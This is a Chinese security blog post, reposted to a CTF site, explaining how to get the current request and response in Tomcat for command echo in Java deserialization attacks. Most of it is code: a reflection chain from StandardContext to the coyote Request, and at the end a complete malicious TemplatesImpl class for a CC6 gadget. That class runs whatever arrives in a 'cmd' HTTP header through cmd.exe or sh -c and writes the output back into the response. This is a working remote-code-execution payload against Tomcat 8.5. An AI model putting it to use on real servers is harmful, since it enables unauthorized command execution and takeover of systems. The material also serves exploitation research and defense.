Java反序列化命令回显和内存shell(2)

渗透技巧 3年前 (2021) admin
798 0 0

五、    Tomcat回显

学会了打内存shell,就可以尝试回显了。先在testServlet.doGet打上断点,然后不断向上追踪request。

Java反序列化命令回显和内存shell(2)

第一个request在org.apache.coyote.http11.Http11Processor.service()

    public SocketState service(SocketWrapperBase<?> socketWrapper)        throws IOException {        RequestInfo rp = request.getRequestProcessor();        rp.setStage(org.apache.coyote.Constants.STAGE_PARSE);        setSocketWrapper(socketWrapper);

跟进一下发现是父类org.apache.coyote.AbstractProcessor的属性。

public abstract class AbstractProcessor extends AbstractProcessorLight implements ActionHook {
private static final StringManager sm = StringManager.getManager(AbstractProcessor.class);
// Used to avoid useless B2C conversion on the host name. protected char[] hostNameC = new char[0];
protected Adapter adapter; protected final AsyncStateMachine asyncStateMachine; private volatile long asyncTimeout = -1; private volatile long asyncTimeoutGeneration = 0; protected final AbstractEndpoint<?> endpoint; protected final Request request; protected final Response response; protected volatile SocketWrapperBase<?>

AbstractProcessor实例化时,request和response被创建,并且request中包含response。

    protected AbstractProcessor(AbstractEndpoint<?> endpoint, Request coyoteRequest,            Response coyoteResponse) {        this.endpoint = endpoint;        asyncStateMachine = new AsyncStateMachine(this);        request = coyoteRequest;        response = coyoteResponse;        response.setHook(this);        request.setResponse(response);        request.setHook(this);        userDataHelper = new UserDataHelper(getLog());    }

还存在getRequest()方法可以取出request

    public Request getRequest() {        return request;    }

那么如果获取了Http11Processor,就可以获取request,在其父类的构造方法下断点,重启tomcat。

Java反序列化命令回显和内存shell(2)

可以看到创建Http11Processor核心代码位于org.apache.coyote.http11.AbstractHttp11Protocol.createProcessor()

    protected Processor createProcessor() {        Http11Processor processor = new Http11Processor(this, getEndpoint());        processor.setAdapter(getAdapter());        processor.setMaxKeepAliveRequests(getMaxKeepAliveRequests());        processor.setConnectionUploadTimeout(getConnectionUploadTimeout());        processor.setDisableUploadTimeout(getDisableUploadTimeout());        processor.setRestrictedUserAgents(getRestrictedUserAgents());        processor.setMaxSavePostSize(getMaxSavePostSize());        return processor;    }

其在org.apache.coyote.AbstractProtocol$ConnectionHandler.process()被调用,主要代码为。

        public SocketState process(SocketWrapperBase<S> wrapper, SocketEvent status) {            S socket = wrapper.getSocket();
Processor processor = connections.get(socket); if (processor == null) { processor = getProtocol().createProcessor(); register(processor); if (getLog().isDebugEnabled()) { getLog().debug(sm.getString("abstractConnectionHandler.processorCreate", processor)); } }

打断点代码时直接执行在createProcessor()上的,也就是说connections.get(socket)并没有获取到processor,而是进入if来注册processor。跟进ConnectionHandler.register()

        protected void register(Processor processor) {            if (getProtocol().getDomain() != null) {                synchronized (this) {                    try {                        long count = registerCount.incrementAndGet();                        RequestInfo rp =                            processor.getRequest().getRequestProcessor();                        rp.setGlobalProcessor(global);

这里理解起来就很麻烦,首先RequestInfo是什么,跟进org.apache.coyote.Request.getRequestProcessor()

    public RequestInfo getRequestProcessor() {        return reqProcessorMX;    }

reqProcessorMX又是什么。

    private final RequestInfo reqProcessorMX=new RequestInfo(this);

再跟org.apache.coyote.RequestInfo()

    public RequestInfo( Request req) {        this.req=req;    }

也就是说RequestInfo实际就是把Request打包放在自己的req属性中了。继续跟下一行代码,RequestInfo.setGlobalProcessor()

    public void setGlobalProcessor(RequestGroupInfo global) {        if( global != null) {            this.global=global;            global.addRequestProcessor( this );        } else {            if (this.global != null) {                this.global.removeRequestProcessor( this );                this.global = null;            }        }    }

将RequestInfo的global属性设置为RequestGroupInfo,跟进RequestGroupInfo.addRequestProcessor()

    public synchronized void addRequestProcessor( RequestInfo rp ) {        processors.add( rp );    }

processors是个RequestInfo的数组,又反过来将RequestGroupInfo的processors加入RequestInfo。等于循环套用,实际效果是这样的。

Java反序列化命令回显和内存shell(2)

嗯,循环套娃。心在总结一下对象结构。
AbstractProtocol$ConnectionHandler->global
RequestGroupInfo->processors[1]
RequestInfo->req
Request

现在问题变成了如何获取AbstractProtocol,同样的思路,在构造方法打断点,看看这个类是怎么生成的。

Java反序列化命令回显和内存shell(2)

发现是在org.apache.catalina.connector.Connector.Connector()中用反射构造ProtocolHandler,然后一步一步往下生成的。

    public Connector(String protocol) {        setProtocol(protocol);        // Instantiate protocol handler        ProtocolHandler p = null;        try {            Class<?> clazz = Class.forName(protocolHandlerClassName);            p = (ProtocolHandler) clazz.getConstructor().newInstance();        } catch (Exception e) {            log.error(sm.getString(                    "coyoteConnector.protocolHandlerInstantiationFailed"), e);        } finally {            this.protocolHandler = p;        }

代码继续向下执行,可以看到Connector对象是这么一个构成。

Java反序列化命令回显和内存shell(2)

现在的问题变成了如何获取Connector了,梳理对象结构。
Connector->protocolHandler
Http11NioProtocol->handler
AbstractProtocol$ConnectionHandler->global
RequestGroupInfo->processors[1]
RequestInfo->req
Request

然而再次追踪Connector的来源就比较困难了,遍历前面的堆栈,只在org.apache.catalina.startup.Catalina.load()中发现蛛丝马迹。

    public void load() {
if (loaded) { return; } loaded = true;
long t1 = System.nanoTime();
initDirs();
// Before digester - it may be needed initNaming();
// Create and execute our Digester Digester digester = createStartDigester();

跟进Catalina.createStartDigester()

        digester.addRule("Server/Service/Connector",                         new ConnectorCreateRule());        digester.addRule("Server/Service/Connector",                         new SetAllPropertiesRule(new String[]{"executor", "sslImplementationName"}));        digester.addSetNext("Server/Service/Connector",                            "addConnector",                            "org.apache.catalina.connector.Connector");

可以看到,digester属性将大量命名空间,类名,方法加入Rules,以供后面复杂的反射调用,其中就包括Connector。
那么这个addConnector就是关键,全局搜索后发现在org.apache.catalina.core.StandardService.addConnector()

    public void addConnector(Connector connector) {
synchronized (connectorsLock) { connector.setService(this); Connector results[] = new Connector[connectors.length + 1]; System.arraycopy(connectors, 0, results, 0, connectors.length); results[connectors.length] = connector; connectors = results;

最终将Connectors放入connectors数组属性。那么现在要获取的就是StandardService。我们再回到内存shell,关于获取StandardContext的jsp代码。

<%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); out.println(standardContext); %>

下好断点可以在standardContext的属性中找到。

Java反序列化命令回显和内存shell(2)

这样整个对象结构就清晰了。

StandardContext->context
ApplicationContext->service
StandardService->connectors[1]
Connector->protocolHandler
Http11NioProtocol->handler
AbstractProtocol$ConnectionHandler->global
RequestGroupInfo->processors[1]
RequestInfo->req
Request

Java反序列化命令回显和内存shell(2)

我们现在可以一步一步来获取request了,优先使用getter,其次用反射。

<%@ page import="java.lang.reflect.*" %><%@ page import="java.util.ArrayList" %><%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardService" %><%@ page import="org.apache.catalina.connector.Connector" %><%@ page import="org.apache.coyote.ProtocolHandler" %><%@ page import="org.apache.coyote.AbstractProtocol" %><%@ page import="org.apache.coyote.RequestGroupInfo" %><%@ page import="org.apache.coyote.RequestInfo" %><%@ page import="org.apache.coyote.Request" %>
<%! public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); }%><% WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); ApplicationContext applicationContext = (ApplicationContext) getFieldValue(standardContext, "context"); StandardService standardService = (StandardService) getFieldValue(applicationContext, "service"); Connector connector = standardService.findConnectors()[0]; ProtocolHandler protocolHandler = connector.getProtocolHandler(); Method getHandler = AbstractProtocol.class.getDeclaredMethod("getHandler"); getHandler.setAccessible(true); Object object = getHandler.invoke(protocolHandler); RequestGroupInfo requestGroupInfo = (RequestGroupInfo) object.getClass().getMethod("getGlobal").invoke(object); ArrayList<RequestInfo> arrayList = (ArrayList) getFieldValue(requestGroupInfo, "processors"); RequestInfo requestInfo = arrayList.get(0); Request req = (Request)getFieldValue(requestInfo, "req"); System.out.println(req.getHeader("host")); out.println(req.getHeader("host"));%>

Java反序列化命令回显和内存shell(2)

通过Request获取的host成功打印出来,可以尝试用Response回显。

    Response resp = req.getResponse();    resp.doWrite(ByteBuffer.wrap("sonomon".getBytes("UTF-8")));

TemplatesImplCC6加载恶意类如下,依赖tomcat-catalina-8.5.57.jar和tomcat-coyote-8.5.57.jar

package test;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.InputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.nio.ByteBuffer;import java.util.ArrayList;import java.util.Scanner;
import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.coyote.AbstractProtocol;import org.apache.coyote.ProtocolHandler;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;
public class TemplatesImplTomcat8cmdecho extends AbstractTranslet { public TemplatesImplTomcat8cmdecho() throws Exception { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); ApplicationContext applicationContext = (ApplicationContext) getFieldValue(standardContext, "context"); StandardService standardService = (StandardService) getFieldValue(applicationContext, "service"); Connector connector = standardService.findConnectors()[0]; ProtocolHandler protocolHandler = connector.getProtocolHandler(); Method getHandler = AbstractProtocol.class.getDeclaredMethod("getHandler"); getHandler.setAccessible(true); Object object = getHandler.invoke(protocolHandler); RequestGroupInfo requestGroupInfo = (RequestGroupInfo) object.getClass().getMethod("getGlobal").invoke(object); ArrayList<RequestInfo> arrayList = (ArrayList) getFieldValue(requestGroupInfo, "processors"); RequestInfo requestInfo = arrayList.get(0); org.apache.coyote.Request req = (org.apache.coyote.Request)getFieldValue(requestInfo, "req"); String cmd = "whoami"; if (req.getHeader("cmd") != null) { cmd = req.getHeader("cmd"); } else { } boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win"); String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\a"); String output = s.hasNext() ? s.next() : ""; req.getResponse().doWrite(ByteBuffer.wrap(output.getBytes("UTF-8"))); req.getResponse().getBytesWritten(true); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); }}

效果如下

Java反序列化命令回显和内存shell(2)



原文始发于微信公众号(珂技知识分享):Java反序列化命令回显和内存shell(2)

版权声明:admin 发表于 2021年11月5日 上午9:58。
转载请注明:Java反序列化命令回显和内存shell(2) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...